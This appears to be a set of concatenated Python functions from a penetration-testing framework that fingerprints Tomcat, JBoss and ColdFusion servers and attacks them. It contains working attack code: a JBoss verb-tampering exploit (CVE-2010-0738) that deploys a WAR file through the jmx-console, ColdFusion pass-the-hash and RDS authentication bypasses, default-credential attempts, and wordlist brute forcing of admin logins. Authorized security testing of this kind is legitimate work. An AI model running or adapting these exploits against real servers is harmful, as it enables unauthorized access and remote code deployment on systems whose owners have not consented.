def run(self): """ Kicks off the fingerprint engine """ utility.Msg("Fingerprinting host '%s'" % self.options.ip, LOG.UPDATE) state.hasbf = False if self.options.remote_service: if self.options.remote_service.lower() not in \ state.supported_platforms: utility.Msg( "Service '%s' unknown or not supported." % self.options.remote_service, LOG.ERROR) return False self.service = self.options.remote_service utility.Msg("Server hinted at '%s'" % self.options.remote_service) # if a service was hinted at, load and test it if self.service: self.fingerprints = self.check_service(self.service) else: # load one after the other, stop once we find a match for service in state.supported_platforms: state.hasbf = False matched_fps = self.check_service(service) if len(matched_fps) > 0: self.service = service self.fingerprints = matched_fps break
def run(self, fingerengine, fingerprint): """ This module exploits CVE-2010-0738, which bypasses authentication by submitting requests with different HTTP verbs, such as HEAD. """ utility.Msg( "Deploying %s via verb tampering" % fingerengine.options.ip, LOG.DEBUG) url = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) response = utility.requests_head(url) if response.status_code == 200: utility.Msg( "Vulnerable to verb tampering, attempting to deploy...", LOG.SUCCESS) war_file = abspath(fingerengine.options.verb_tamper) war_name = parse_war_path(war_file) tamper = "/jmx-console/HtmlAdaptor?action=invokeOp"\ "&name=jboss.admin:service=DeploymentFileRepository&methodIndex=5"\ "&arg0={0}.war&arg1={0}&arg2=.jsp&arg3={1}&arg4=True".format( war_name, quote_plus(open(war_file).read())) response = utility.requests_head(url + tamper) if response.status_code == 200: utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS) else: utility.Msg( "Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def definitions(self, ip, port, service): """ Load and fingerprint the remote system. """ fpath = [abspath("./src/platform/%s/fingerprints" % service)] match_fps = [] fingerprints = list(pkgutil.iter_modules(fpath)) for fingerprint in fingerprints: fp = fingerprint[0].find_module(fingerprint[1]).load_module( fingerprint[1]) fp = fp.FPrint() if self.options.version: # we're looking for a specific version if fp.version != "Any" and self.options.version not in fp.version: continue utility.Msg("Checking %s version %s %s..." % (fp.platform, fp.version, fp.title)) try: if fp.check(ip, port): # set fingerprint port to match fingerengine port if defined if vars(self.options)['port']: fp.port = self.options.port match_fps.append(fp) except Exception as e: utility.Msg("Exception with fingerprint: %s" % e, LOG.DEBUG) if self.options.delay: sleep(int(self.options.delay)) return match_fps
def check_error(self, ip, port): """ """ try: fpath = ''.join( random.choice(string.ascii_lowercase) for x in range(4)) url = "http://{0}:{1}/{2}".format(ip, port, fpath) response = utility.requests_get(url) if response.status_code == 404: data = findall("<h3>(.*?)</h3>", response.content) if len(data) > 0 and self.version in data[0]: return True else: utility.Msg("/%s returned unexpected HTTP code (%d)" %\ (fpath, response.status_code), LOG.DEBUG) except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, port), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, port), LOG.DEBUG) return False
def check(self, ip, port=None): """ """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) found = findall("Apache Tomcat Version (.*?)\n", response.content) if len(found) > 0 and self.version in found[0]: return True else: return self.check_error(ip, rport) except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return False
def attemptPTH(url, usr_auth): """ In vulnerable instances of CF7-9, you can use --cf-hash to obtain the remote server's hash and pass it. """ utility.Msg("Attempting to pass the hash..", LOG.DEBUG) usr = None pwhsh = None if ':' in usr_auth: (usr, pwhsh) = usr_auth.split(':') else: (usr, pwhsh) = "admin", usr_auth salt = _salt(url) hsh = hmac.new(salt, pwhsh, sha1).hexdigest().upper() data = { "cfadminPassword": hsh, "requestedURL": "/CFIDE/administrator/enter.cfm?", "cfadminUserId": usr, "salt": salt, "submit": "Login" } try: res = utility.requests_post(url, data=data) if res.status_code == 200 and len(res.history) > 0: utility.Msg("Sucessfully passed the hash", LOG.DEBUG) return (dict_from_cookiejar(res.history[0].cookies), None) except Exception as e: utility.Msg("Error authenticating: %s" % e, LOG.ERROR)
def _auth(usr, pswd, url, version): """ Authenticate to the remote ColdFusion server; bit of a pain """ if version in ['5.0']: data = { 'PasswordProvided_required': 'You+must+provide+a+password.', 'PasswordProvided': pswd, 'Submit': 'Password' } elif version in ['6.0', '6.1']: data = { 'cfadminPassword': pswd, 'requestedURL': '/CFIDE/administrator/index.cfm', 'submit': 'Login' } elif version in ['7.0', '8.0', '9.0']: salt = _salt(url) hsh = hmac.new(salt, sha1(pswd).hexdigest().upper(), sha1).hexdigest().upper() data = { "cfadminPassword": hsh, "requestedURL": "/CFIDE/administrator/enter.cfm?", "cfadminUserId": usr, "salt": salt, "submit": "Login" } elif version in ['10.0', '11.0']: hsh = sha1(pswd).hexdigest().upper() data = { 'cfadminPassword': hsh, 'requestedURL': '/CFIDE/administrator/enter.cfm?', 'cfadminUserId': usr, 'submit': 'Login' } try: res = utility.requests_post(url, data=data) if res.status_code == 200: utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG) if version in ['5.0']: return (dict_from_cookiejar(res.cookies), None) elif len(res.history) > 0: return (dict_from_cookiejar(res.history[0].cookies), None) except Exception as e: utility.Msg("Error authenticating: %s" % e, LOG.ERROR) return (None, None)
def check_service(self, service): """ Given a service, this will initiate our fingerprinting engine against the remote host and return a list of all matched fingerprints. Successful fingerprints will also be dumped to console. """ utility.Msg("Loading fingerprint engine '%s'" % service, LOG.DEBUG) matched_fingerprints = self.definitions(self.options.ip, self.options.port, service) if len(matched_fingerprints) > 0: utility.Msg("Matched %d fingerprints for service %s" % (len(matched_fingerprints), service)) for fp in matched_fingerprints: utility.Msg("\t%s (version %s)" % (fp.title, fp.version), LOG.SUCCESS) else: utility.Msg("No fingerprints found for service %s" % service) return matched_fingerprints
def check(self, ip, port=None): """ """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for manager, checking.." % (ip, rport), LOG.DEBUG) cookies = authenticate.checkAuth(ip, rport, self.title, self.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) if response.status_code == 200: found = findall("Apache Tomcat/(.*)<", response.content) if len(found) > 0 and self.version in found[0]: return True except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return False
def check(self, ip, port=None): """ The version string for the web-console is pretty easy to parse out. """ try: rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) response = utility.requests_get(url) if response.status_code == 401: utility.Msg( "Host %s:%s requires auth for /web-console, checking.." % (ip, rport), LOG.DEBUG) cookies = authenticate.checkAuth(ip, rport, self.title, self.version) if cookies: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if "Version: </b>{0}".format(self.version) in response.content: return True except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return False
def attemptRDS(ip, port): """ If version 9.x is found, we attempt to bypass authentication using the RDS vulnerability (CVS-2013-0632) """ utility.Msg("Attempting RDS bypass...", LOG.DEBUG) url = "http://{0}:{1}".format(ip, port) uri = "/CFIDE/adminapi/administrator.cfc?method=login" data = {"adminpassword": '', "rdsPasswordAllowed": 1} response = utility.requests_post(url + uri, data) if response.status_code == 200 and "true" in response.content: return (dict_from_cookiejar(response.cookies), None) else: # try it with rdsPasswordAllowed = 0 data['rdsPasswordAllowed'] = 0 response = utility.requests_post(url + uri, data) if response.status_code == 200 and "true" in response.content: return (dict_from_cookiejar(response.cookies), None)
def check(self, ip, port=None): """ Because the version strings are different across a couple different versions, we parse it a little bit different. Pre-5.x versions are simple, as we match a pattern, whereas post-5.x versions require us to parse an HTML table for our value. """ re_match = False rport = self.port if port is None else port url = "http://{0}:{1}{2}".format(ip, rport, self.uri) try: request = utility.requests_get(url) # go check auth if request.status_code == 401: utility.Msg( "Host %s:%s requires auth for JMX, checking..." % (ip, rport), LOG.DEBUG) cookies = authenticate.checkAuth(ip, rport, self.title, self.version) if cookies: request = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (ip, rport), LOG.ERROR) return False if request.status_code != 200: return False if self.version in ["3.0", "3.2"]: match = search("{0}.(.*?)\(".format(self.version), request.content) if match and len(match.groups()) > 0: re_match = True elif self.version in ["4.0", "4.2"]: match = search("{0}.(.*?)GA".format(self.version), request.content) if match and len(match.groups()) > 0: re_match = True elif self.version in ["5.0", "5.1", "6.0", "6.1"]: parser = TableParser() parser.feed(request.content) if parser.data and self.version in parser.data: re_match = True return re_match except exceptions.Timeout: utility.Msg( "{0} timeout to {1}:{2}".format(self.platform, ip, rport), LOG.DEBUG) except exceptions.ConnectionError: utility.Msg( "{0} connection error to {1}:{2}".format( self.platform, ip, rport), LOG.DEBUG) return re_match
def checkAuth(ip, port, title, version): """ """ url = "http://{0}:{1}/CFIDE/administrator/enter.cfm".format(ip, port) if version in ['5.0']: url = 'http://{0}:{1}/CFIDE/administrator/index.cfm'.format(ip, port) # check with given auth if state.usr_auth: if version in ['7.0', '8.0', '9.0'] and len(state.usr_auth) >= 40: # try pth cook = attemptPTH(url, state.usr_auth) if cook: return cook if ':' in state.usr_auth: (usr, pswd) = state.usr_auth.split(':') else: (usr, pswd) = "admin", state.usr_auth return _auth(usr, pswd, url, version) # else try default creds for (usr, pswd) in default_credentials: cook = _auth(usr, pswd, url, version) if cook: return cook # if we're 9.x, we can use the RDS bypass if version in ["9.0"]: cook = attemptRDS(ip, port) if cook: return cook # if we're still here, check if they supplied a wordlist if state.bf_wordlist and not state.hasbf: state.hasbf = True wordlist = [] try: with open(state.bf_wordlist, 'r') as f: # ensure everything is ascii or requests will explode wordlist = [ x.decode('ascii', 'ignore').rstrip() for x in f.readlines() ] except Exception as e: utility.Msg("Failed to read wordlist (%s)" % e, LOG.ERROR) return utility.Msg( "Brute forcing account %s with %d passwords..." % (state.bf_user, len(wordlist)), LOG.DEBUG) try: for (idx, word) in enumerate(wordlist): stdout.flush() stdout.write("\r\033[32m [%s] Brute forcing password for %s [%d/%d]\033[0m"\ % (utility.timestamp(), state.bf_user, idx+1, len(wordlist))) cook = _auth(state.bf_user, word, url, version) if cook: print('') # newline if not (state.bf_user, word) in default_credentials: default_credentials.insert(0, (state.bf_user, word)) utility.Msg( "Successful login %s:%s" % (state.bf_user, word), LOG.SUCCESS) return cook print('') except KeyboardInterrupt: pass